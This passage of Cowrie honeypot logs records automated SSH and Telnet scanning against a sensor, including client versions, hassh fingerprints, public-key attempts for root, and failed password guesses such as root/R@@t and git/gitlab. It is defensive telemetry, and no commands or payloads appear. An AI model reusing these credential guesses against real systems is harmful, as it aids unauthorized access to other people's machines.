dsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:39.709481Z","src_ip":"2.57.122.208","session":"e18004dda57b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:41.545541Z","src_ip":"2.57.122.208","session":"e18004dda57b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:42.939098Z","src_ip":"2.57.122.208","session":"e18004dda57b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.194.9.81","src_port":37362,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ddc76fbd779","protocol":"ssh","message":"New connection: 104.194.9.81:37362 (10.17.0.5:22) [session: 9ddc76fbd779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.026656Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.031715Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.040528Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8a:7d:27:ea:fe:1c:4a:8e:58:4e:fc:f5:3b:42:b1:8c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDbfibT05CM1XOjI4lZm3GcUr4wd77J+FfDVC00v3QdW","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 8a:7d:27:ea:fe:1c:4a:8e:58:4e:fc:f5:3b:42:b1:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.059845Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8a:7d:27:ea:fe:1c:4a:8e:58:4e:fc:f5:3b:42:b1:8c","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDbfibT05CM1XOjI4lZm3GcUr4wd77J+FfDVC00v3QdW","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.063478Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"80:74:93:21:c8:1c:14:b5:d1:d3:fa:0e:02:77:db:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOFGLKse1Qpfh+CuCKiSwim3mshvszxqs+zFmlVt6IpXHs2cWhjx/2gKC+kfb09llxlNj+nfUQqgiUpQz1I8PlGM6d1f3t9kAdufwO41WxZTW0/n0Mc7V/RSgoF+a3ADe+WCj3q/Kc3L4hgEn+TIgAE7C39g9/leGxjehonRm2J7PQqZsHTjRPUuZU7XVR3WzvYlmkvxjhBcvmDCHbwUJRWVwYgDVfoJ1EKqugrZXKuSGZudblFP+a/bXIhWzcArjbja75Qd9qbbts0l7Z6rGWC/87HkP9SbbZW6/A/vLFTHZfW9nO583iPneL9OxtFPjanXe4eoSAAlSw3lTVz6Xn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 80:74:93:21:c8:1c:14:b5:d1:d3:fa:0e:02:77:db:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.073039Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"80:74:93:21:c8:1c:14:b5:d1:d3:fa:0e:02:77:db:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDOFGLKse1Qpfh+CuCKiSwim3mshvszxqs+zFmlVt6IpXHs2cWhjx/2gKC+kfb09llxlNj+nfUQqgiUpQz1I8PlGM6d1f3t9kAdufwO41WxZTW0/n0Mc7V/RSgoF+a3ADe+WCj3q/Kc3L4hgEn+TIgAE7C39g9/leGxjehonRm2J7PQqZsHTjRPUuZU7XVR3WzvYlmkvxjhBcvmDCHbwUJRWVwYgDVfoJ1EKqugrZXKuSGZudblFP+a/bXIhWzcArjbja75Qd9qbbts0l7Z6rGWC/87HkP9SbbZW6/A/vLFTHZfW9nO583iPneL9OxtFPjanXe4eoSAAlSw3lTVz6Xn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.076851Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9d:90:f2:bb:6a:f2:e7:8b:0c:c1:73:5e:05:93:af:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIMTkBWYJZAuLmvIlTO7ZNYsc363l0B/84aHuUvZ9KbDOkqjKtKNnP6z6B5w50YWOJfs/m2Le5DSQVVx1Vy9LB8MEPtxCCW+J8CMWHGV2tfcZUSkBVyGhXUukdj1alj/CrYt+iN9Hoj9buLSgElH62XGtvf1OrzThQoeBp7rkuMvZVk0zXv2/nRcwKv8rcN7zRb+4YroGxLPpt4F37LGIEFAamqoehs+aDqa4+Cx8UKDQ2tBjE3SI9K+R3hgZDJ/3vs84KPYh+nXvL7SfAkmd2PIDjYcNCQ5D9XyXl2jBkWcqWM7NvuMMjYimyZuzjFIRab3iwyyKzGdjf1KFkhhqH","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9d:90:f2:bb:6a:f2:e7:8b:0c:c1:73:5e:05:93:af:40","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.084292Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9d:90:f2:bb:6a:f2:e7:8b:0c:c1:73:5e:05:93:af:40","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDIMTkBWYJZAuLmvIlTO7ZNYsc363l0B/84aHuUvZ9KbDOkqjKtKNnP6z6B5w50YWOJfs/m2Le5DSQVVx1Vy9LB8MEPtxCCW+J8CMWHGV2tfcZUSkBVyGhXUukdj1alj/CrYt+iN9Hoj9buLSgElH62XGtvf1OrzThQoeBp7rkuMvZVk0zXv2/nRcwKv8rcN7zRb+4YroGxLPpt4F37LGIEFAamqoehs+aDqa4+Cx8UKDQ2tBjE3SI9K+R3hgZDJ/3vs84KPYh+nXvL7SfAkmd2PIDjYcNCQ5D9XyXl2jBkWcqWM7NvuMMjYimyZuzjFIRab3iwyyKzGdjf1KFkhhqH","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.087705Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"70:98:10:65:da:e7:82:86:01:ff:3f:36:56:72:ff:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvypJ1x4w/N+VPb37jJhynHz4O7BLqrY7JXLgJ1Mjie94nHGXBJ8yjXyKOi/HWhuIt85FcptwuAdcZ3/nUY9UV9WG65pZgMd0I3CfSoKUkAZaNmu9JVv0UWhwG8gKPSkfMdXWi5D1ba/u3KH8P0hXN8eQwCWhxvDew23Bt9Fc2rdGropTJL9VQGPGjlcErK+J4TcRx3Sv3YTNxyih7DuJfN3h07LgK6r+Mw5tp1y6GE013uccgCM83NX4iLhg5xEzwC0xyNnZdL/MrPelAVOwt1No8ktWJtzBidC13O8nIZEhD7vLT0UNAd8396OGkxseaJmCNMooTgVAukynFQN1T","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 70:98:10:65:da:e7:82:86:01:ff:3f:36:56:72:ff:c8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.095481Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"70:98:10:65:da:e7:82:86:01:ff:3f:36:56:72:ff:c8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDvypJ1x4w/N+VPb37jJhynHz4O7BLqrY7JXLgJ1Mjie94nHGXBJ8yjXyKOi/HWhuIt85FcptwuAdcZ3/nUY9UV9WG65pZgMd0I3CfSoKUkAZaNmu9JVv0UWhwG8gKPSkfMdXWi5D1ba/u3KH8P0hXN8eQwCWhxvDew23Bt9Fc2rdGropTJL9VQGPGjlcErK+J4TcRx3Sv3YTNxyih7DuJfN3h07LgK6r+Mw5tp1y6GE013uccgCM83NX4iLhg5xEzwC0xyNnZdL/MrPelAVOwt1No8ktWJtzBidC13O8nIZEhD7vLT0UNAd8396OGkxseaJmCNMooTgVAukynFQN1T","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.098009Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ac:15:86:a5:ff:25:c4:58:07:ff:dd:23:ee:45:7f:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0SeB1nquype0zX3hIa0SALuEPcxyY4ZUkIllZlusjMCtbAfLe6L2g/2df4uUQF6Rjo222kWcgBa1mtxD2+oxVipDJk5RH6LF7bAODsaFuaiLSw2qjwnzoDGZoqTTPTGcLCQXHxJIKjzE8jE6NjdmsWyR72Az2zlUeMOOSB2RORMPUPUgTF6Czd477apXDJ0W8FlsjHxlOgD/lVPN+wWZBy1Ev33Roh2/b/T/KZVRvpk4CFPU0Wfb7+Mxx+XkjjhSqqBYCFeFfJ441su73LLAwkXXKM2YDRbfsiJMXCG8zVS2LxP+hIqW3Ufgw2jIiB1kxwWUw19fmBI/dfdm35A9R","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ac:15:86:a5:ff:25:c4:58:07:ff:dd:23:ee:45:7f:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.107248Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ac:15:86:a5:ff:25:c4:58:07:ff:dd:23:ee:45:7f:cd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0SeB1nquype0zX3hIa0SALuEPcxyY4ZUkIllZlusjMCtbAfLe6L2g/2df4uUQF6Rjo222kWcgBa1mtxD2+oxVipDJk5RH6LF7bAODsaFuaiLSw2qjwnzoDGZoqTTPTGcLCQXHxJIKjzE8jE6NjdmsWyR72Az2zlUeMOOSB2RORMPUPUgTF6Czd477apXDJ0W8FlsjHxlOgD/lVPN+wWZBy1Ev33Roh2/b/T/KZVRvpk4CFPU0Wfb7+Mxx+XkjjhSqqBYCFeFfJ441su73LLAwkXXKM2YDRbfsiJMXCG8zVS2LxP+hIqW3Ufgw2jIiB1kxwWUw19fmBI/dfdm35A9R","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.111887Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:12:48.119424Z","src_ip":"104.194.9.81","session":"9ddc76fbd779","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":30260,"dst_ip":"10.17.0.5","dst_port":22,"session":"39d178d4debd","protocol":"ssh","message":"New connection: 194.59.206.2:30260 (10.17.0.5:22) [session: 39d178d4debd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:13:24.302575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:13:24.307973Z","src_ip":"194.59.206.2","session":"39d178d4debd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:13:24.395747Z","src_ip":"194.59.206.2","session":"39d178d4debd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:13:24.488768Z","src_ip":"194.59.206.2","session":"39d178d4debd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.7","src_port":48492,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cfc7b929893","protocol":"telnet","message":"New connection: 85.11.167.7:48492 (159.203.135.109:23) [session: 4cfc7b929893]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:20.448882Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.74.248.52","src_port":41176,"dst_ip":"10.17.0.5","dst_port":22,"session":"a7588958b5c6","protocol":"ssh","message":"New connection: 27.74.248.52:41176 (10.17.0.5:22) [session: a7588958b5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:29.881093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:29.886178Z","src_ip":"27.74.248.52","session":"a7588958b5c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:30.349064Z","src_ip":"27.74.248.52","session":"a7588958b5c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"R@@t","message":"login attempt [root/R@@t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:32.850965Z","src_ip":"27.74.248.52","session":"a7588958b5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:34.313719Z","src_ip":"27.74.248.52","session":"a7588958b5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.223.80","src_port":51076,"dst_ip":"10.17.0.5","dst_port":22,"session":"024452f06ea7","protocol":"ssh","message":"New connection: 57.128.223.80:51076 (10.17.0.5:22) [session: 024452f06ea7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:53.782942Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:53.889207Z","src_ip":"57.128.223.80","session":"024452f06ea7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:53.989667Z","src_ip":"57.128.223.80","session":"024452f06ea7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"gitlab","message":"login attempt [git/gitlab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:54.445048Z","src_ip":"57.128.223.80","session":"024452f06ea7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:55.556730Z","src_ip":"57.128.223.80","session":"024452f06ea7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":35434,"dst_ip":"10.17.0.5","dst_port":22,"session":"a03df041a0f9","protocol":"ssh","message":"New connection: 213.209.159.56:35434 (10.17.0.5:22) [session: a03df041a0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:55.798355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:14:55.803395Z","src_ip":"213.209.159.56","session":"a03df041a0f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-